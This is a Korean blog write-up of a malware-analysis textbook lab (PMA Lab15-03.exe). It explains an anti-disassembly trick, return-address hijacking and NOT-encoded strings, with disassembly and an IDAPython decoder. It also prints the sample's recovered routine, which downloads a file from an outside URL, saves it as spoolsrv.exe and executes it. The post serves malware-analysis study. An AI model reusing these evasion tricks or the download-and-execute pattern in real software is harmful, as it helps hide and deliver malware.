일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Toddler's Bottle
- pwn
- Leak
- Rookiss
- CANARY
- anti
- Read
- CTF
- format
- FSB
- TUCTF
- picoCTF
- rev
- writeup
- toddler
- reversing
- Bug
- BOF
- Reverse
- Bottle
- pico
- 2018
- string
- ASM
- practicalmalwareanalysis
- pwnable.kr
- pwnable
- PMA
- shellcode
- shellcraft
- Today
- Total
제리의 블로그
PMA Lab15-03.exe 안티디스어셈블리 본문
Lab15-03.exe
retaddr = 0x40148C;
main() 함수 .text:0x40100C 를 보면 위와같은 주소가 저장되는 모습을 볼 수 있습니다.
.text:0040148C push ebp
.text:0040148D mov ebp, esp
.text:0040148F push ebx
.text:00401490 push esi
.text:00401491 push edi
.text:00401492 xor eax, eax
.text:00401494 jz short near ptr loc_401496+1
그래서 40148C를 확인해보니 xor; jz+1; 형태의 안티디스어셈블리를 확인할 수 있습니다.
악성코드의 주요코드가 숨겨져있을거라고 예상이 됩니다..
40148C의 코드는 call 이나 jmp 명령어로 호출되어 실행되는 것이 아닙니다.
.text:0040100C mov eax, 400000h
.text:00401011 or eax, 148Ch
.text:00401016 mov [ebp+4], eax
40148C는 함수 에필로그의 ret 명령어에 의해서 실행된다.
.text:004011DD mov esp, ebp
.text:004011DF pop ebp
.text:004011E0 retn
.text:004011E0 _main endp
또 숨어있는 문자열이 있다.
URLDownloadToFileA 의 URL 문자열이 숨어져있다.
.text:004014E6 push offset unk_403010
.text:004014EB call encode_text
.text:004014F0 add esp, 4
.text:004014F3 push offset unk_403040
.text:004014F8 call encode_text
바로 unk_403010 과 unk_403040이 인코딩된다.
void __cdecl encode_text(char *text)
{
while ( *text )
{
*text = ~*text;
++text;
}
}
encoding 방식은 비트연산으로 not 하는 것이므로 직접 인코딩해주면 됩니다.
def encode_text():
sea = ScreenEA()
i = 0
while True:
if Byte(sea+i) == 0: break
PatchByte(sea+i, Byte(sea+i) ^ 0xff)
i += 1
encode_text()
위에는 IDAPython 코드.
아래는 패치한 모습
.data:00403010 aHttpWww_practi db 'http://www.practicalmalwareanalysis.com/tt.html',0
.data:00403010 ; DATA XREF: .text:00401509o
.data:00403040 unk_403040 db 0 ; DATA XREF: .text:00401504o
.data:00403040 ; .text:0040151Co
.data:00403041 aSpoolsrv_exe db 'spoolsrv.exe',0
unk_403010은 URL로 밝혀졌는데
unk_403040는 옵셋이 1바이트 밀려난 spoolsrv.exe 로 밝혀졌다.
void __noreturn urldown_winExec()
{
URLDownloadToFileA(0, practicalmalwareanalysis_com_tt_html, CmdLine, 0, 0);
WinExec(CmdLine, 0);
ExitProcess(0);
}
오프셋까지 패치해도 되는지 모르겠는데 위와같이 수도코드를 뽑을 수 있습니다.
질문
1. 초기에 악성코드를 어떻게 호출하는가?
[ebp+4] 위치에 악성코드 주소를 넣습니다. [ebp+4]는 함수 종료시 되돌아갈 주소입니다. return address
2. 악성코드가 무슨 동작을 하는가?
URLDownloadToFileA로 파일을 다운받고 WinExec로 실행한다.
3. 악성코드가 사용하는 URL은 무엇인가?
http://www.practicalmalwareanalysis.com/tt.html
4. 악성코드가 사용하는 파일명은 무엇인가?
spoolsrv.exe